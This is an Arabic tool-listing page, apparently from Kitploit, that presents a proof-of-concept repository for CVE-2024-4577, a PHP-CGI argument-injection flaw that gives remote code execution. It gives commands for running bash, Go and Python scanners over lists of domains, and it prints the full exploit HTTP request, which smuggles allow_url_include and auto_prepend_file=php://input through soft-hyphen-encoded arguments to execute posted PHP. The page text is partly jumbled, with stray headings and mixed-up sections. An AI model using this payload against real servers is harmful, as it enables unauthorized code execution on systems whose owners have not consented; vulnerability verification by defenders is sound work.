CVE-2024-4577-PHP-RCE — إثبات مفهوم (PoC) لثغرة RCE في PHP (CVE-2024-4577) مكتوب بلغة bash و go و python وقالب nuclei. | Kitploit

إثبات المفهوم (PoC) لـ PHP RCE

CVE-2024-4577: حقن الوسائط في PHP-CGI

نظرة عامة

يحتوي هذا المستودع على نصوص برمجية للتحقق من ثغرة CVE-2024-4577، وهي مشكلة حقن الوسائط في PHP-CGI. يمكنك استخدام نصوص Bash وGo وPython المقدمة لاختبار قائمة من النطاقات لهذه الثغرة. لقد أصدرت أيضًا ملف YAML لـ Nuclei.

الاستخدام

نص Bash

لاستخدام نص Bash، قم بتشغيل الأمر التالي:

./CVE-2024-4577.sh /path/to/domains-list

نص Go

أولاً، احفظ نص Go في ملف باسم CVE-2024-4577.go. لبناء وتشغيل نص Go:

قم بتجميع نص Go إلى ملف ثنائي:
```
go build -o CVE-2024-4577 CVE-2024-4577.go
```

تأكد من تثبيت مكتبة requests:
```
pip install requests
```
قم بتشغيل نص Python مع ملف قائمة النطاقات كوسيطة:
```
python CVE-2024-4577.py /path/to/domains-list
```
(اختياري) إذا كنت تريد طباعة المضيفين الثغرات فقط:
```
python CVE-2024-4577.py /path/to/domains-list --quiet
```

POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php phpinfo(); ?>

CVE-2024-4577-PHP-RCE

الأكثر شعبية

نص Python

شرح إثبات المفهوم (POC)

قالب Nuclei

مثال على قائمة النطاقات

مثال على الإخراج